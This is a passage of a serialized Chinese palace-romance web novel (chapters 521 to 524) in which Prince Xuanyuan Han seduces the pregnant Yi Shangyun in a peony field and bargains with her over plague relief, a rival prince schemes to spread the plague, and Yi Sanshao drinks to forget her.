过了会儿,轩辕翰开口恳求道:“儿臣请求母妃在儿臣想到权宜之计前,不要再去打扰云儿,让她一个人好好安安静静地呆着。” 纯太妃认真地点了点头,轩辕翰方才起身告辞,移步离开了紫和轩。 直到其背影消失不见,张嬷嬷方才开口问:“娘娘,殿下他能有什么办法啊?” 纯太妃想了一瞬,重重地叹了口气:“是啊!他还能有什么办法?东宁一行,大计失手,皇儿与宫里那两位怕是已经耗尽了所有往日里本就微薄的一丁点儿情分。前几日,本宫又亲自做主刚刚退了那东宁永乐公主,如今转眼却又想迎这永宁公主入门,这都是天意弄人。想要他们点头答应赐婚,怕是难上加难了……” 一边说,一边思量着,最后无奈地道:“可既然皇儿执意此生一定非她不可,纵使刀山火海,本宫便只能全了他的心意了。” 张嬷嬷听了不解地问:“娘娘的意思是……” 纯太妃看着张嬷嬷的脸,认真地说:“本宫只希望吾儿的一生能幸福快乐,如此,无论本宫做什么,都是值得的。” 花开香漫屋园,尘世伊人如梦。 第二天天一亮,衣上云便独自出了门,再次来到了王府后山小岛上的芍药花海中。 她静静地躺在这片芍药花中,空气中弥漫着阵阵芍药花香,感受着风儿自由的灵魂,许是孕期的正常反应,又或许是置身于这样舒适的风景之中,恍恍惚惚间,她竟然进入了梦乡。 不知过了多久,忽然,一双坚实而有力的臂膀将自己一把从地上横抱了起来。 衣上云忽地醒过了神来,睁开眼一看清来人,遂挣扎着惊声道:“殿下你做什么?快放我下来。” 来人原是轩辕翰,他将她抱起一直走到秋千旁让她坐稳,继而又俯身下去死死盯着她此刻慌乱的眼睛,警告她:“地上凉,本王说过,不许你伤害本王未出世的孩儿。否则,这个后果你是承受不了的。” 衣上云忽然间对着如此温柔的眼神,好看的轮廓,不禁顿时惊愣住。 片刻后,忽地回过神来依旧反驳说:“殿下到底要我怎么说才会相信,这个孩子,真的是与殿下无关。” 岂料轩辕翰毫不理会她,说道:“你就不要再白费心思了,无论你说什么,本王都不会再相信你。” “可是……” 就在衣上云还想说些什么的时候,轩辕翰忽然乘其不备一把捉住了她的后脑勺,一吻封唇…… 第五百二十一章:花间醉,好久不见 伴随着他突如其来的吻愈来愈深入,衣上云强烈地感受到了一股炙热的暖流,竟使得她的意识变得亦逐渐迷离起来。 恍恍惚惚间,她的眼前仿佛出现了另一个人,虽然与轩辕翰似是重叠一般有着惊人相似的面孔,可她却又说不清俩人到底哪里不一样,只觉这张脸像是已经认识了几世轮回…… 渐渐地,方才明明被其举动惊的瞪得无比之大的两只眼睛亦情不自禁地缓缓闭了起来, 然即便此时,衣上云的意识里尚还保留着一丝清醒,她知道这个时候她应该毫不犹豫地将他一把推开。 可不知为何,明明已经抬起并紧紧拽住他后肩的两只手,那几乎已握紧成拳的两只小猫爪,忽然之间就鬼使神差地失去力量,慢慢放松了下来。 就在这时,不知被他触碰到了哪根敏感的神经,衣上云只觉一阵酥麻感袭便全身。 紧接着,她的整个人就这样放弃了所有挣扎任由被他愈来愈霸道、深情而又温柔的吻一寸一寸地掠夺起来。 她竟也开始贪婪地享受,且慢慢回应起他的激吻。 这个吻,于他而言,在两人的身体经历了第一次互相交融后至今,在这许多的日子里以来,令他是那样的怀念,甚至于疯狂的想念。 然对她而言,又何尝不是呢! 轩辕翰一感受到她对自己的回应,心里欢喜极了。 见衣上云已然不再抗拒自己,索性便引导着她的动作让她紧紧缠在自己坚实的腰身上,一边继续着这深情的吻,一边轻轻将她抱起。 遂一手缓缓解下自己身上的披风随手一丢,那玄色的披风便借着暮春初夏时节空气里已然有些微微燥热的轻风的浮动,在半空中划过一道完美的弧度,落下后刚好铺在了距离俩人不远处的花丛中,惊飞起无数只彩蝶环绕着俩人翩翩起舞。 而此时的衣上云,双腿紧紧夹在他的腰间两侧,胳膊牢牢地环住他的脖颈,轩辕翰看着她潮红的脸颊,露出了满意的笑容。 他的一举一动极其小心,极尽温柔,几乎未让衣上云丝毫感觉自己已经被转移到了花间轩辕翰的披风上。 而轩辕翰自是不会给她分毫清醒过来的机会,兀自顺势将她一放下来,便就紧接着欺身而下,继续接下来的动作。 一手轻柔地解开了衣上云的鹅黄色披风,吻上她那在明亮的阳光照耀下透亮的耳垂,游离至她皙长的脖颈,回旋轻啄她柔软的红唇,高挺的鼻梁,眉眼之间,光洁的额头,直至又一路下滑,埋首落至她的肩窝…… 然这一切还远远不够。 多少个日日夜夜,令他那般疯狂地思念,期盼这一刻了那么久,被她如此苦苦折磨了一场,他怎会如此轻易便就放过她。 一手支撑托着她的脑袋,另一手终于缓缓地摩挲着她的一只臂膀一路向上,最后附上了她胸前别致的蝴蝶金丝盘扣,将其极轻巧地便解了开来。 眼前当即现出一藕色,带着淡淡体香的柔软亵衣,霎时间,两只傲人的秀峰便若隐若现于眼前。 如此活色生香的诱人画面,他终于忍不住,再也无所畏惧,欺身下去紧紧地贴住了她的身子,俩人深深地缠绵在一起。 而此时,周围的这片芍药花海,宛如海浪一般一波未平,一波又起,亦剧烈地翻滚起来。 不知过了多久,几经翻云覆雨,当衣上云在轩辕翰紧紧的怀抱中疲惫不堪地睡着,终于缓缓再次睁开眼睛的时候,天边已经现出了一道柔美的夕阳。 静静的傍晚,天空依然湛蓝如洗。 夕阳西下,清凌凌的湖水,火红的晚霞染红了湖面,也给这片芍药花海涂上了一层无比动人的金色。 就这 样安安静静地审视了一遍周围的环境,回忆起方才俩人之间所发生的不可思议激烈的所有一切…… 衣上云方觉如梦初醒一般,瞬间只觉得自己肯定是疯了,亦或是中了什么蛊术,才会如此放任自己,任由他再一次吃干抹净,占领了自己身体的每一个角落。 「一定是这岛上的花间风景太过于诱人,醉了自己,才会发生这种事情。」 一念至此,她紧忙反应过来遂低眼下去微微掀开此时正遮在身上的自己的披风,看了看自己的身子,竟不知何时,轩辕翰早已帮她悉心擦拭,清理干净,并整理好了衣裙。 带着羞怯的心情,遂微微抬头缓缓望向身边正枕着自己的一只胳膊仰面躺着,另一只胳膊则环抱着自己将她紧紧揽入怀中,像是生怕一不小心便被她再次逃走一般,此时依旧紧闭着双眼,似是在休息的轩辕翰。 不禁目光一怔,第一次无比认真,清楚地端详了他精致的恍若是被天工雕刻而成的一般的轮廓许久许久…… 脑海里忽再次回忆起方才所看到的另一个人,那个与此时所见却又不甚相同的面孔。 她不禁疑惑极了地开口低声似是喃喃自语一般地问:「你到底是谁?为什么我总是情不自禁地抗拒不了你,仿佛我们已经认识了几世轮回……」 衣上云自是以为他此时一定是睡着的,才敢说出这样的话来。 岂料话音刚落,空气中忽然乍出一阵沉声,道:「本王是你的天,你的地。你的今生今世,生生世世里……皆是本王。」 「你没睡着……」 伴随着一声惊叫,衣上云忽地一下挣开了他的怀抱坐起身来。 殊不知,从始至终,轩辕翰怎舍得睡去? 那么辛苦,终于等到了她愿意再次接受自己,他自是不愿错过她的哪怕是睡着后的一丝一毫。 即便是她被自己那时而轻柔,时而又猛烈的吻由上而下,又回旋着直到落至到她全身的每一寸肌肤。 从一开始对她尝试着的挑逗,成功地渐渐深入至对她狠狠的索取,折磨与惩罚。 在她的身上留下无数专属印记,乃至于最后她终于臣服于自己,变为极其享受,却因为实在体力不支最后疲惫地睡着的样子,亦令他心里无不欢喜至极。 就在衣上云正陷入回忆,被惊吓的心直扑通扑通跳个不停的时候,轩辕翰亦忽地跟坐起身来一看见她惊恐万分的眼睛,附身过去在其耳畔柔声问了句:「好久不见!」 「好久不见?」 衣上云一听,顿扭头回来一对上他那充满着某种欲望的眼神,心里遂一回想,默默地问自己道:「难道他这是在暗示自己,方才所发生的事情,已经不是第一次了么?」 「你……」 一念至此,她顿立起身来气呼呼地欲言又止道。 轩辕翰一见她此刻明显羞红了的脸,看来他是知道自己在说什么了。 于是望着其背影,嘴角微微一斜,露出一抹极具玩意的笑容,随后亦站起身来理了理自己的衣装。 过了会儿,似是已整理好了情绪,衣上云背对着他,无奈的说道:「你为什么要这样对我?难道直到现在殿下还不明白?我们之间,是永远都不可能的。」 轩辕翰弯腰捡拾起衣上云的披风,细心的亲手摘掉粘在上面的几片芍药花瓣。 方才朝着衣上云身边缓缓踱步过去,将其替她轻轻披上。 正要替她亦系好带子,衣上云一把将其夺了过去:「不敢有劳秦王殿下,我自己来吧。」 说着,紧忙侧过身去自己动起手来。 顿时间,轩辕翰的两只手愣愣地停留在半空中好一会儿, 方才无奈地收了回去。 待衣上云整理好后,轩辕翰忽然开口说道:「本王从来都不相信什么前世今生,可对于你,却是唯一的例外。其实,每次面对你,冥冥之中,本王的心里亦觉得我们之间仿佛早已相识。或许在世界的另一个时空里,我们之间的故事早就已经开始……」 听了这段话,衣上云惊呆了,倏地转回身去俩人遂面面相觑着紧紧对视在一起,这一眼,仿佛穿越了千年。 最后,终是轩辕翰先回过神来开口打断了这片沉默。 他将目光缓缓下移至衣上云的腹部,眼神是那样地温柔,说:「不要再抗拒本王。你放心,从现在开始,本王不会再逼你回答这个孩子究竟是不是本王的?」 说完,再次将目光移回衣上云的脸,只是表情却忽然明显严肃了许多,道:「你也不用老拿易三少来堵本王。我与他之间,你无论不爱谁,又或太爱谁,若今生有幸所遇良人,那便是极大的一桩好事。若遇人不淑,所托非良,纵使有情,也不便偕老。」 就在衣上云正思量着他所说的这番话的时候,轩辕翰忽然自信满满地说:「之前本王心里还一直有所怀疑,可现在,当本王完完整整的拥都有了你之后,本王很是确定……你的心,永远不会爱他。这辈子,你所爱之人,只有本王。」 不想自己一不小心竟彻底暴露,被轩辕翰看的如此透彻,一时间衣上云难以接受,又不知如何否认。 便瞬间气急了地对其吼声道:「轩辕翰,你凭什么这么说?你以为你是谁?刚才……刚才我是鬼迷心窍了,才会与你发生那样的事。如今,如今我后悔不已,恨不得去死……」 说着,便朝湖边疾奔过去…… 第五百二十二章:你的目的达到了 “云儿……” 看着衣上云明显情绪失控,拔腿直朝湖边深处疾奔而去,似是升起了什么不好的念头,轩辕翰忙惊叫了一声。 正要上前去追赶阻拦,却见衣上云在并没有跑出多远后,忽又缓缓放慢了脚步停了下来。 遂三步并作两步地紧忙追上去挡在其前面,伸出两只骨节分明有力的大手牢牢地捉住她的肩头,惊魂未定地看向她的脸。 这才发现,不知何时,衣上云早已泪流满面,此时她就静静地站在那里,再也一动不动,任由泪水从脸颊上悄悄滑落。 哽咽着说道:“谁能告诉我,我到底是谁?我究竟该怎么做?” 轩辕翰一见,心疼极了。 可又生怕自己此时哪怕是再微小的一个动作,会不会一不小心又再次触碰到她某根敏感的神经,而再次伤害到她。 思索再三,最后还是忍不住试探着,小心翼翼地将她一把拉住,顺势紧紧地拥入到自己的怀中,方才安心了下来。 这时,他也才敢渐渐靠近着贴在她的耳边,轻声地对其致歉说:“对不起,都是本王的错,本王方才实在不该说出那些话来。可接下来,不管你想做什么都可以,就是不可以做傻事,本王真的不能没有你,你难道还不明白吗?” 就在方才逃离的那一瞬间里,不知为何,衣上云的心理防线忽然就彻底奔溃了。 事到如今,她已然连自己是谁亦都混乱不堪。 她不明白这究竟是怎么回事?为何总有一些残存的记忆碎片,让她如此真实地直觉自己一定是缺失了什么重要的记忆。 眼前的这个世界所发生的纷纷争争,于她,一切都是那样的不真实,总是让自己无所适从。她只想简简单单的做自己,却总是有那么多的羁绊。 她更不知该如何继续面对与轩辕翰之间的感情,以及俩人之间一次又一次所发生的这些莫名其妙,本不该发生的所有事情。 心里一时难以接受,想要逃离。慌乱之中,便就这样什么都不管不顾地只朝湖边奔了去。然其实就连她自己,也不知道接下去将会发生什么? 可逃跑途中,她又忽然想起了龙虎城里,还有千千万万的百姓们在日夜翘首企盼,等着她从西秦带回药草救他们于水火。 若是她这个时候真的出了什么事,那么龙虎城的百姓们,岂不是就真的彻底无人能救了么? 更何况,如今,在她的肚子里,是的的确确真实的有了另一个新生命的存在…… 天下苍生,使至命然,新生命的到来,仿佛没有一件事是在她的预料中所发生的。 可这一件件,一桩桩,一切的一切,又都让她何其忍心撇下不管呢?! 一念至此,她终于还是努力让自己冷静了下来。 过了会儿,她的下巴静静地贴在轩辕翰的肩上,泪眼模糊地忽然开口变得冰冰凉凉的一副模样说:“是不是只有我答应乖乖呆在你的身边,我龙虎城的百姓们才能得到救命药草?” 闻此,轩辕翰的眼睛忽地怔住。 他的确怎么都没有料到,刚才还如漆似胶地缠绵在一起几经翻云覆雨的俩人,转眼这么快便就只能这样如此陌生的说话了。 这让他的心,的确顿觉冰冷刺骨。 遂默想了一瞬,无论如何,她也总算是冷静了下来。 便缓缓将自己的手从衣上云的身上移开,与其四目相对着,定定地端详着她的眼睛半晌。 见其目光里对自己始终再无了一丝暖意,轩辕翰微微侧过身去深吸了口气,兀自恢复了往常的冰冷与霸道,惜字如金地回她了句说:“是。” 衣上云失望地看着他的侧脸,说:“难道你不知道,如果龙虎城的这场疫情再得不到控制,亦会累及西秦国边境地区,乃至扩散到整个灵空大陆。如此下去,很快,怕是即将来临的天下大战还未开始,一切便都先被这场大疫所吞没,生灵涂炭了。” 对此,轩辕翰的心里又怎会不清楚,怎会不关心? 若是不关心,近日里他也不会在朝堂上与璟帝再次起了争执。 璟帝及其势力以为,这次龙虎城大疫是千载难逢的好机会,乃天助西秦,只要不施以援手,紧闭国门,袖手旁观,不必费一兵一卒,便可坐收渔翁之利,赢得天下。 轩辕翰早已暗中收到消息,近日西秦境内各地已相继出现了个别疑似与龙虎城类似的病例,防疫已然迫在眉睫。 然璟帝的势力却谎称国内疫情防控做的天衣无缝,倒是轩辕翰的意图太过于明显。 因此,就在衣上云与纯太妃交谈过后,欲要离开秦王府的那日,轩辕翰被璟帝下令禁足在王府里反省。 然即便如此,实际上,他却早已暗地里安排重兵快马加鞭地护送药草到龙虎城解困。 这一切,此时的衣上云自是什么都不知道。 她依旧只顾气恼地声声质问他:“难道秦王殿下甘意看见这样的结果?” 衣上云说了那么多,启料轩辕翰只说了句:“想要本王救这天下苍生,只不过在你的一念之间罢了。” 见此,衣上云瞬间似是终于如释重负一般,轻阂起双眸来,调整下自己的呼吸与情绪。 接着,于嘴角勾出一抹浅浅的弧度来冷冷地笑了一阵,睁开眼来兀自将一手悄悄轻柔地附在了自己的腹部,答应说道:“好,我答应你。从今天起,我会呆在秦王府,呆在你的身边,直到这个孩子出生。” 闻此,轩辕翰的心里本应该高兴,可不知为何?他却再也高兴不起来。 衣上云冷冷地盯视着他的眼睛,明明那样瘦弱的弱小身躯里,却发出一股震慑般的力量来,极认真地肃声说道:“你的目的达到了,然也请你遵守诺言,一定要救龙虎城的百姓。否则,我这辈子就算是死,也绝不会原谅你。” 话一说完,便步履坚定地迈开步伐,从他的面前经过,兀自朝着来时的路上大步回去。 可刚走出没几步,许是因为这会儿情绪的起伏变化太大,只觉忽地一阵晕眩,一手刚轻附上额头,顿时只觉双脚失了力气,身子一斜,整个人便就摇摇晃晃着倾倒了下去。 恰是轩辕翰像是感应到了什么,回头一见,紧忙飞身上前,刚好稳稳地将其一把接住,牢牢横抱了起来。 “浮世万千,吾爱有三。日月与卿,日为朝,月为暮,卿为朝朝暮暮。” “浮世万千,不得有三。水中月,镜中花,梦中你。月可求,花可得,唯你求而不得。” “自古多情空余恨,好梦由来最易醒。岂是拈花难解脱,可怜飞絮太飘零。” 清风,白云,碧月。 青瓦,黄墙,孤灯盏。 城南城隍庙里,拓拔弘夜不能寐,提笔落下三段如同行云流水般的笔墨后,收笔凝视着自己所书,叹声说道:“梦里山河无恙,却是寂廖各相望,难奈再无相见日,终是……空留独自了残生。” 沉思之间,忽闻“吱呀”一声,有个小沙弥推门走了进来,手里捧着一个茶盘。 小沙弥一朝拓跋弘近身过去,一边将茶盘里的热茶奉上,一边关切地问:“夜深了,施主怎么还不入睡?” 拓跋宏打从再次见到衣上云后,心里依稀总是感觉将有什么事情发生。 想到自己一直好不容易终于找到其下落的这个人一定能帮到他,于是便来至此地等候已多日,然却始终都未见到自己要见的人,心里难免有些着急。 他开口对小沙弥道:“真是不好意思,如此冒昧地前来打扰。请问小师父,住持还是至今未归吗?” 小沙弥回想了一瞬,说:“今儿听大师兄说,师父此次游历途中,经过了许多地方,似是有些病患的症状极具蹊跷。又因为遭到连续数日的暴雨,恐要留下救助当地灾民,怕是不得成行了。大概还要继续再耽误些日子,可能……还需个把月才能归来,那施主还要继续等候吗?” 拓跋宏一听,心里顿时着急了起来:“还需个把月?!” 小沙弥肯定地点了点头。 拓跋宏遂将目光移向书案一角上的那盏油灯旁放着的一个黑色小木匣,伸手过去拾起来紧紧地握住,口中兀自喃喃细语道:“你可千万不要出什么事才好啊!” “那敢问施主还要继续在寺里等候师父回来吗?”小沙弥自是并不知他所言何意?只再一次朝其确认。 拓跋宏忽地回过神来,答道:“既然如此,那就不必再等了,我明日早起便离开,因为还有些要事需要处理,等过些时日住持回来再来叨扰吧!” 小沙弥道:“如此也好,那小僧先告退了,施主早些歇息。” 拓跋宏朝其致谢:“多谢小师父!” 小沙弥离开后,拓跋宏紧紧攥着手里的小木匣,对其喃喃轻语道:“无论如何,这一生,我会永远守护着你。你失去的记忆,我一定会帮你全都找回来!” 就在这时,一个漆黑的魅影从窗前一闪而过,拓跋宏惊叫了一声:“是谁?” 第五百二十三章:夜半笛声幽幽 拓跋宏倏地一把拉开了门,飞步朝那黑影闪现过的地方紧追了出去。 却只看见除了院子里万籁俱静,到处一片沉沉的夜色外,什么蛛丝马迹都没有发现。 而就在此时,仅与其一墙之隔的后面另一座院子里,飞檐走壁落下一个身手矫健的男子身影。 “咚咚咚” 便随着一阵叩门声轻轻响起。 “吱呀”一声,很快,门便被人从里面打了开来。 借着屋内昏暗的烛火之光的照耀,一名墨发全束,身形魁梧高大的黑衣男子迅速地走了进去。 黑衣男子进门后,复又转身小心翼翼地朝门外仔细查看了一番,确定周围并无异样,方才将门合上。 屋内,看起来像是其主子的另一气质不凡的男子,仿佛是特地在等着他。 只见其身着一袭玄色锦袍,墨发半束,正独自悠闲地坐在茶几边品茗。 黑衣男子一朝其近身过去,便显得格外恭敬地朝其抱拳禀告:“启禀大皇子,我们暗中从龙虎城里悄悄带出来的那些身染了疫病的难民们,如今都已经成功的渗透到了西秦国各地。” 男子仿佛对此早有所料,听到这个消息脸上并无什么变化,只兀自悠悠地把玩着手里的茶盏。 黑衣男子见此,接着说:“朝中一切,亦都在大皇子掌握之中。这几日,我们在西秦朝堂上的势力亦已起了作用,迫使那秦王轩辕翰因防疫一事而被牵连。那狗皇帝勒令其已禁足于秦王府内闭门思过。我们只需在此再静静等待数日,这整个灵空,便就会成为殿下的囊中之物了。” 伴随着“啪”的一声,男子终将一巴掌重重地拍在其面前的茶几上,同时大叫了一声:“好…… 霎那间,一阵对此消息颇为满意极了的笑声充满了整个屋子:“哈哈哈,哈哈哈哈哈……” 半晌后,笑声戛然而止。 男子继而扬声狂傲至极地道:“本皇子早就说过,那秦王轩辕翰,左不过一个乳臭未干的黄口小儿而已,成不了什么气候!西北一战,本皇子一时大意,方才中了他的奸计。这一次,新仇旧恨,本皇子一定要一一俱都讨回来。” 说完,悄悄地握紧了拳头,语气轻蔑极了地道:“哼……竟敢妄想跟本皇子斗,未免也太嫩了些。” 闻此,黑衣男子立在一旁嘴角一勾,亦露出一抹狡黠的笑容来。 过了会儿,男子仿佛又想起了什么,皱了皱眉,问:“对了,让你去打探西秦学院那边的消息,现在如何了?” 黑衣男子遂回忆了一瞬,道:“听说永乐公主被纯太妃归来赶出秦王府后,死活都不愿意再回东宁国去。自觉身为一国尊贵的公主,自己沦落至此下场,又加之其母后在东宁朝堂中已然亦失了势,自己嫡亲的亲皇兄竟败给了一个不起眼的婢女所生的卑微庶子,实在是太丢颜面。期间,听闻还有好几次欲要寻短见,最后都被陆小姐发现给拦了下来。想必如今,定是恨透了秦王府。” 听到这里,男子心里倒是惊讶地道:“没想到,这么多年过去了,全天下人都以为她已经死了,这纯太妃竟还能起死回生,着实是福大命大,这可还真是个奇迹!怕是,这一切背后,想必一定是有高人相助。” 遂若有所思着轻抿下一盏茶汤,默想了一阵,男子忽然转而又继续开口说道:“不过话说回来,既然俩位美人儿心中如此憋屈,作为旧识,本皇子理应出面替他们好好出谋划策一番,帮她们消消气才好。” 黑衣男子听了,不解地问:“不知大皇子言之何意?” 男子随即吩咐道:“派人去一趟西秦学院,想办法邀请俩位美人儿出来城南一聚。就说……许久未见,本皇子对俩位甚是想念。特诚邀她们出来品品今春的新茶,叙叙旧,请俩位务必赏脸。” 黑衣男子疑惑地道:“听闻永乐公主和那西秦学院大小姐陆天骄,那可是一个赛一个眼光高的人物呢!如今,咱们的身份已然今非昔比,大皇子确定她们会应邀吗?” 男子笑了笑,似是极为胸有成竹地说:“本皇子让你去,便一定是有十足的把握。如果本皇子没猜错的话,她们或许早就在到处打探本皇子的消息了!” 黑衣男子半信半疑地抱起拳来领命:“属下遵命!” 至此,男子安排好一切后轻抬起一只手来朝其摆了摆,示意其退下。 黑衣男子见了,领会其意,抬脚正准备转身离去,忽似是又想起了什么。 于是顿停下脚步来,回头有些吞吞吐吐地继续朝其禀告说:“对了,属下还有一事禀报。” 男子问:“何事?” 黑衣男子默想了一瞬,说:“方才属下回来经过前院的时候,遇见了一个人,看那人的身影,还有他说话的声音……像极了……二皇子。” 话音刚落,男子刚刚吞入口中的一口茶汤顿时喷溅了出来,紧接着发出一阵重重的咳声来:“咳咳咳……” 过了会儿,待其稍微缓和了些许下来,男子紧忙立起身来问:“你说什么?再说一遍,你说你方才看见了谁?” 黑衣男子惊愣了一下,闻声复又重复说道:“方才属下经过前院时,遇见了一个人,看那人的身影,还有听他说话的语气和声音……像极了……二皇子。” 顿时间,男子惊诧极了,他愣愣地看着黑衣男子的脸,愣是半晌都说不出话来,脑子里一片混乱。 过了许久,方才一边若有所思着缓缓再次落坐下去,一边发出一阵似是自言自语般的声音道:“是他……难道……他也还活着……他竟没有和父王的尸体一起被大火烧死。” 黑衣男子见其神情恍惚,于是关切地问:“大皇子,您没事吧?” 男子仿佛忽地被叫醒过来,神情却看起来依旧明显有些不对劲,只自顾自开口叮咛道:“无碍,方才本皇子交代你去办的事,赶快下去办吧!” “是!” 自此,黑衣男子没再说什么,转身兀自踱步走了出去,替其将门轻轻掩上。 屋内,男子静静地沉默着,万千思绪,如同这窗外愈来愈深的夜色一般,顿时间被这如潮暗涌所深深吞没…… 远山含雾青烟笼, 轩窗之外月如钩, 院子里,一方静静的池水上泛着冷冷的光。 忽然,一阵笛声幽幽响起…… 第二日。 天还未亮,拓跋宏便迫不及待地早早踏上了下一站的行程。 站在城隍庙的门口,小沙弥与其师兄俩人亲自出门相送:“施主,保重,一路顺风!” 拓跋宏回礼。 他看着眼前神圣的佛门净地,心里却遗憾不已地低声喃喃道:“紧赶慢赶,没想到还是与大师又一次错过了。” 就在他为此而垂头丧气,正欲转身离去的时候,余光隐隐发觉周围似是有一双眼睛一直在暗地里窥视自己。 顿时间,只见他极具睿智的目光微微一怔,心里即刻便升起了一个主意。 在距离城隍庙不远处,有一片树林。 春日里,风已暖,花正飞。 清晨的林间,云烟缭绕,仙气十足。一丛丛新绿自泥土中喷薄而出,夹杂着一缕泥土的芬芳。 里面有一片巨大的竹海,眼下正值竹笋拔地而起,竹叶郁郁葱葱的时节。 林间到处响着早起的春鸟啼鸣,声声袭人。蜿蜒盘旋着的清澈的小溪,宛如一缕绿色的丝带,流淌于竹林之间,显得是那样的清幽至极。 忽然,林间隐隐约约现出一头戴斗笠的蒙面黑衣男子来。 只见他走着走着,忽然顿足停了下来,左顾右盼着像是在寻找着些什么。 片刻后,许是没有任何收获与发现,遂有些纳闷地开口自言自语道:“奇怪!方才明明就是朝这个方向来的,怎么一转眼就找不见人了?” 话音刚落,蒙面男子忽觉似是有人正在悄悄向他逼近。 正想回头仔细查看一番,却顿现出一把明晃晃的利剑乘他不备,悄悄地已经架在了自己的脖子上。 于是,未见其人,便先闻其质问声道:“你是什么人?为什么要跟踪我?” 黑衣蒙面人见自己行迹已然暴露,便连忙回过头来朝其面前跪身了下去,诚恳地求饶:“二皇子请恕罪!是大皇子特地派属下留下来等殿下您的。” 拓跋宏一听,整个人立在原地里朝其瞪大了眼睛,简直都快惊呆了,连连问他:“你说谁?皇兄……你说皇兄他……他还没死……他还活着?他真的还活着?他现在人在哪里?” 黑衣蒙面人点了点头,答道:“西北大战,我军几乎全军覆没,大皇子也是九死一生。昨儿夜里,大皇子本来还半信半疑,直到听到二皇子的笛声,方才确定的确是二殿下您没错。于是,便交代属下,让属下无论如何,务必要带您去见他。” 拓跋宏回过神来问:“那皇兄如今他人呢?” 黑衣蒙面人解释说:“二皇子稍安勿躁,大皇子昨儿半夜便离开了城隍庙,属下这就带您去见他。” 第五百二十四章:让我醉一场,好不好? 西秦国,百草谷。 青山环绕、碧水潺潺、奇石嶙峋、幽径林暗,一眼望不到边的药田,到处一片鸟语花香。 易三少一袭红袍迎风而立,骨子里透出无尽的妖艳气息。 手里捏着一株麻黄草,正高高立在一座视野开阔的山头上,放眼望着脚下自己这些年来呕心沥血亲自打理下的这片一眼望不到边际的药田,若有所思地独自发呆。 自打从城西衣府回来后,很多时候,他都是像现在这样一个人静静的呆着,什么也不说。 任凭两个婢女使出了浑身解数,想要哄他开心,至少能与俩人多说两句话也是好的。 可显然,他最多也仅是对其默默的淡淡一笑,敷衍了之罢了。 眼看着,又过去一日。 夕阳西下,晚饭时间快要到了,两个婢女悉心准备好了一桌丰盛的酒菜,便跑出来寻他。 远远地,就连那整日里没心没肺,却是最单纯快乐的白芷一见那孤独落寞的背影,心里亦觉心疼不已。 遂开口对与其一道前来的紫苏忧心地说:“紫苏,三少如今就像是变了一个人似的,他还从未如此过呢!” 紫苏望着同样的背影,沉闷不已的心情重重地叹了口气,没有说话,心里却已痛的要命。 白芷忽一回神,忙说:“对了,平日里就属你的点子最多,你倒是快想想办法呀,要是再这样下去,三少他会不会闷出病来?” 就连白芷都心疼至此,更何况是一直将自己的那份爱默默藏在自己心底的紫苏呢? 紫苏咬了咬牙,恨恨地说:“这全都是拜那贱人所赐,她可还真是阴魂不散!怎么就没客死在北烈国呢!竟然还真让三少从东宁国给寻到了。这辈子,她最好祈求上苍保佑三少,若是三少真有个什么闪失,我紫苏一定要那女人生不如死。” 眼看着距离易三少身边越来越近,白芷急忙劝阻说道:“好了好了,别说了。这话若是被三少听到了,又该骂你了。” “哼”紫苏心里极不服气,遂冷哼了一声,却终究还是收了声。 俩人一近身过去,紫苏便悉心地将随身带来的一件墨色斗篷替其披上。 她抬眼看了看天边的云朵,关切地说:“回去吧,三少,你已经在这里呆了一整天了,看这天气,怕是夜里要变天了。” 易三少并没有说什么,似是根本就没有听她所说。 又过了会儿,易三少才伸手紧了紧身上的披风,于脸上强挤出一抹笑容来,对着俩人笑了笑,兀自转身三人一同离开。 逍遥阁,灯火明亮。 明明满桌皆是为易三少所准备的美酒佳肴,然却独独只有桌上的酒盏空了又续,续了又空。 说是俩人要陪易三少解闷,可白芷只自顾自灌下两盅,便趴在桌上不省人事,沉沉睡去,易三少却还在独自自斟自饮着。 紫苏实在是看不下去了,伸手一把抢过他手里的酒壶,劝道:“三少,你不能再这样喝下去了。从早起到现在,你都还一粒米未进呢!” 易三少着实已有些微醺,遂立起身来要抢夺回酒壶。 紫苏将其藏在身后,易三少扑了个空。 紫苏嘴里劝着:“不许再喝了,再喝就真的要醉了。” 易三少笑了笑,说:“醉……好主意!醉了好,醉了好。醉了就不知今夕是何夕?不知身在何处?情归何方?心为谁所累?” 说着,便伸手过去想要再次抢回酒壶,祈求紫苏:“让我醉,让我醉一场,好不好?” 紫苏离席,紧着又退了两步,摇了摇头说:“借酒消愁愁更愁,三少你这又是何苦呢?” 想起以前的三人,曾经一起云游四海,花前月下,饮酒作诗,把酒言欢,那是何等的潇洒不羁,从不知愁为何物? 回忆往昔,紫苏伤心难过极了,她流着泪道:“你以前不是这样的,忘了她,我们一起回国去,好不好?” 闻此,易三少上一秒明明脸上还挂着笑容,此刻眼里却似是有晶莹的泪花在滚动闪烁着。 口中碎碎念道:“回去……” 只见他整个人终归也算是消停了下来,遂扑通一声重重地坐了下去。 俩人一起沉默了半晌后,想着这肯定与那日在城西衣府所发生的事有关,紫苏便问:“是不是那个衣上坤,那日里,他跟你说了些什么,打从你一回来,便就一直愁眉不展,是不是……” 说着说着,顿了一下,虽然心底极不愿意提起,却又深知逃避是没有一点用的,便说:“是不是衣上坤他知道,却不告诉你衣上云在西秦国的行踪。” 易三少稍作回忆,眼里俱都是失望地说:“衣上坤……他若是真的知道丫头的去向,至少她是好好的,那也便就好了。” 紫苏一想,接着疑惑地道:“可那家丁那日不是当着我们的面亲口告诉我们,衣上云的确回去过衣府吗?既然如此,他身为一家之主又怎会不知其下落呢?” 易三少道:“他家二姨娘得知了丫头乃敌国公主的身份后,怕其身份一旦暴露,会连累了衣府上下。俩人夜里因此遂起了争执,被丫头撞见,丫头不想连累无辜,便于滂沱大雨夜里,只身离开了衣府,从此以后便下落不明,彻底没了音讯。” 紫苏这才总算是明白了过来,为何易三少多日以来会如此坐立不安,魂不守舍? 身为一个女人,有着身子,无亲无故,又无家可归,任谁都会心生怜悯,放心不下吧! 终究是一女子,心中的柔软顿然升起,于是转念又问:“那她一个弱女子……会去哪儿呢?” 易三少马不停蹄地赶路,他怎么都想不到衣上云仅独自一人,竟然能这么快便回到西秦国。 可来不及思虑太多,三人一抵达西秦国皇城,便直接亲自登门衣府,怎料寻人无果,便又去了秦王府,却是被吃了闭门羹。 想起那一日的情形,遂默默的说:“秦王府上下口风极严实,我们没有任何收获。依照之前丫头对轩辕翰决绝的态度,加之听闻一向严苛的纯太妃归来,左不过短短几日,丫头是段不可能在秦王府里的。” 俩人一起百思不得其解。 这时,紫苏开口提醒说:“那接下来,三少打算怎么做?国君可还在等着你呢?” 易三少自顾自只坚定不移地说:“无论如何,我一定要找到丫头。” “轰隆隆……” 